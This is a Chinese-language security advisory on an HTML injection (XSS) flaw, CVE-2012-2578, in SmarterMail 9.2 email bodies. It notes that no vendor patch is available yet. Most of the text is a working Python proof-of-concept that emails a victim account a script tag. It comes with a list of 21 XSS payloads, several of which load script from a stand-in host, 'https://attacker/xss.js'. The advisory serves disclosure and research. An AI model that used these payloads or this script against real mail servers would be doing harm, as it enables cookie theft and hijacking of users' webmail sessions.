发布日期：2012-08-08
更新日期：2012-08-09
受影响系统：
smartertools SmarterMail 9.2
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 54901
CVE ID: CVE-2012-2578
SmarterMail是电子邮件服务器。
SmarterMail 9.2及其他版本在实现上存在HTML注入漏洞，攻击者可提供HTML或JS代码，在受影响站点中运行，窃取Cookie身份验证凭证或控制站点外观。
<*来源：loneferret
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/python
'''
Author: loneferret of Offensive Security
Product: SmarterMail
Version: Free 9.2
Vendor Site:
Software Download:
Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT. Vendor response: "It looks like a scan was run against an older version of SmarterMail. It would need to be tested against either version 9.4 or 10.0."
08 Aug 2012: Public Disclosure
Installed On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9
Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=https://attacker/xss.js></SCRIPT>
4: <DIV>
5: <SCRIPT a="blah" '' SRC="https://attacker/xss.js"></SCRIPT>
6: <SCRIPT "a='>'" SRC="https://attacker/xss.js"></SCRIPT>
7: <SCRIPT a=">" SRC="https://attacker/xss.js"></SCRIPT>
8: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="https://attacker/xss.js"></SCRIPT>
9: <SCRIPT a=">'>" SRC="https://attacker/xss.js"></SCRIPT>
10: <SCRIPT/XSS SRC="https://attacker/xss.js"></SCRIPT>
11: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
12: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
13: <<SCRIPT>alert("XSS");//<</SCRIPT>
14: <SCRIPT SRC=https://attacker/.j>
15: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
16: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
17: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--
18: <SCRIPT SRC="https://attacker/xss.jpg"></SCRIPT>
19: <XSS>
20: <IMG>
21: exp/*<XSS>
'''
import smtplib, urllib2
payload = """<SCRIPT SRC=https://attacker/xss.js></SCRIPT>"""
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: hacker@offsec.local\n"
msg += "To: victim@victim.local\n"
msg += 'Date: Today\r\n'
msg += "Subject: XSS\n"
msg += "Content-type: text/html\n\n"
msg += "XSS" + payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv = "172.16.84.171"
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
建议：
--------------------------------------------------------------------------------
厂商补丁：
smartertools
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：